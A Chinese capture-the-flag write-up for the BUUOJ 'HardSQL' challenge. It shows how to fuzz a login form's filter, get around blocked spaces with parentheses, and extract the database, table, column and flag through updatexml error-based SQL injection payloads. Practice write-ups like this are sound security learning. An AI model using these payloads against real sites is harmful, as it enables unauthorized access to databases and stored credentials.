[极客大挑战 2019]HardSQL
题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]HardSQL
打开题目后,环境如下。
只有一个登录框,因此八九不离十就是 SQL 注入题目。
首先尝试使用万能密码登陆,Payload:admin' or 1=1;#
。
从回显来看,网站应该存在 WAF 或一些对用户输入的检测,接下来尝试 fuzzing 一下看看有什么字符是被过滤了的。
长度为 789 的响应包即是被过滤了的字符。
可以发现,如 union
、and
、=
、
等字符都被过滤,因此就要考虑如何绕过空格的过滤。
经过尝试 %a0
、%0a
等多种方式,发现均无法绕过空格,因此只能使用括号来绕过空格。
尝试 Payload:1'or(1)%3b%23
发现,后端是由单引号 '
闭合。
通过分析 fuzzing 的结果,发现报错注入似乎没有被过滤,接下来尝试报错注入。
Payload:1'or(updatexml(1,concat(0x7e,database()),1))%3b%23
,获得数据库名。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%3b%23
,获得数据表名。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%3b%23
,获得字段名。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(((password))))from(H4rDsq1)),0x7e),1))%3b%23
,获取 password 字段的内容。
发现输入长度有限,于是使用 left、right 函数进行截断输出,然后再将 flag 拼接起来。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%3b%23
。